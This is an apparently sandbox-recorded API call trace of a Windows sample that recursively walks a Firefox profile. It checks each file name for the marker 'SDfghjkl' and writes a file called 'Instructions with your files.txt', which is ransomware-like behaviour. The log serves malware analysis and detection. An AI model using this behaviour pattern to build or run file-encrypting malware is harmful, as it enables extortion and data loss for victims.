[0131.504] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.504] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..") returned 77
[0131.504] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1
[0131.504] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned 91
[0131.504] GetProcessHeap () returned 0x810000
[0131.504] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.504] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*") returned 93
[0131.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.506] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\.") returned 93
[0131.506] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.509] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\..") returned 94
[0131.509] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb76a6d10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb76a6d10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb76a6d10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="addons.json", cAlternateFileName="ADDONS~1.JSO")) returned 1
[0131.509] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json") returned 103
[0131.509] StrStrIW (lpFirst="addons.json", lpSrch="SDfghjkl") returned 0x0
[0131.509] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5233c30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x8503de70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8503de70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarkbackups", cAlternateFileName="BOOKMA~1")) returned 1
[0131.509] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups") returned 107
[0131.509] GetProcessHeap () returned 0x810000
[0131.509] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.509] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*") returned 109
[0131.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5233c30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x8503de70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8503de70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.512] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\.") returned 109
[0131.512] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5233c30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x8503de70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8503de70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.512] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\..") returned 110
[0131.512] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc37c9330, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc37c9330, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc37df2c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-06-05_5.json", cAlternateFileName="BOOKMA~1.JSO")) returned 1
[0131.512] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json") returned 135
[0131.512] StrStrIW (lpFirst="bookmarks-2017-06-05_5.json", lpSrch="SDfghjkl") returned 0x0
[0131.512] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85017d10, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85017d10, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85017d10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-06-16_5.json", cAlternateFileName="BOOKMA~2.JSO")) returned 1
[0131.512] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json") returned 135
[0131.512] StrStrIW (lpFirst="bookmarks-2017-06-16_5.json", lpSrch="SDfghjkl") returned 0x0
[0131.512] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85017d10, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85017d10, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85017d10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-06-16_5.json", cAlternateFileName="BOOKMA~2.JSO")) returned 0
[0131.512] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\Instructions with your files.txt") returned 140
[0131.512] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.513] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.514] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.514] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.514] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.514] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.514] CloseHandle (hObject=0x124) returned 1
[0131.514] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.514] GetProcessHeap () returned 0x810000
[0131.514] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.514] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb47c9bf0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb47c9bf0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853f60d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cert8.db", cAlternateFileName="")) returned 1
[0131.514] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db") returned 100
[0131.514] StrStrIW (lpFirst="cert8.db", lpSrch="SDfghjkl") returned 0x0
[0131.514] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80696ec0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="compatibility.ini", cAlternateFileName="COMPAT~1.INI")) returned 1
[0131.514] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini") returned 109
[0131.514] StrStrIW (lpFirst="compatibility.ini", lpSrch="SDfghjkl") returned 0x0
[0131.514] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5e8ce50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb5e8ce50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb639bd10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-prefs.sqlite", cAlternateFileName="CONTEN~1.SQL")) returned 1
[0131.514] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite") returned 112
[0131.514] StrStrIW (lpFirst="content-prefs.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.514] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5ad4bf0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb5ad4bf0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x83256a10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 1
[0131.514] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 106
[0131.515] StrStrIW (lpFirst="cookies.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.515] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc374ed0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc374ed0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbc555e20, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloads.sqlite", cAlternateFileName="DOWNLO~1.SQL")) returned 1
[0131.515] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite") returned 108
[0131.515] StrStrIW (lpFirst="downloads.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.515] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4b81e50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4b81e50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb4b81e50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.ini", cAlternateFileName="EXTENS~1.INI")) returned 1
[0131.515] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini") returned 106
[0131.515] StrStrIW (lpFirst="extensions.ini", lpSrch="SDfghjkl") returned 0x0
[0131.515] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb45b48b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb4b0fa30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x70000, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.sqlite", cAlternateFileName="EXTENS~1.SQL")) returned 1
[0131.515] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite") returned 109
[0131.515] StrStrIW (lpFirst="extensions.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.515] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6ff4f30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="indexedDB", cAlternateFileName="INDEXE~1")) returned 1
[0131.515] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB") returned 101
[0131.515] GetProcessHeap () returned 0x810000
[0131.515] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.515] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*") returned 103
[0131.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6ff4f30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.516] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\.") returned 103
[0131.516] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6ff4f30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.516] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\..") returned 104
[0131.516] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 1
[0131.516] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home") returned 121
[0131.516] GetProcessHeap () returned 0x810000
[0131.516] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8acc10
[0131.517] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*") returned 123
[0131.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0131.518] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\.") returned 123
[0131.518] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.518] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\..") returned 124
[0131.518] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".metadata", cAlternateFileName="METADA~1")) returned 1
[0131.518] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\.metadata") returned 131
[0131.518] StrStrIW (lpFirst=".metadata", lpSrch="SDfghjkl") returned 0x0
[0131.518] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8110d50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8110d50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="idb", cAlternateFileName="")) returned 1
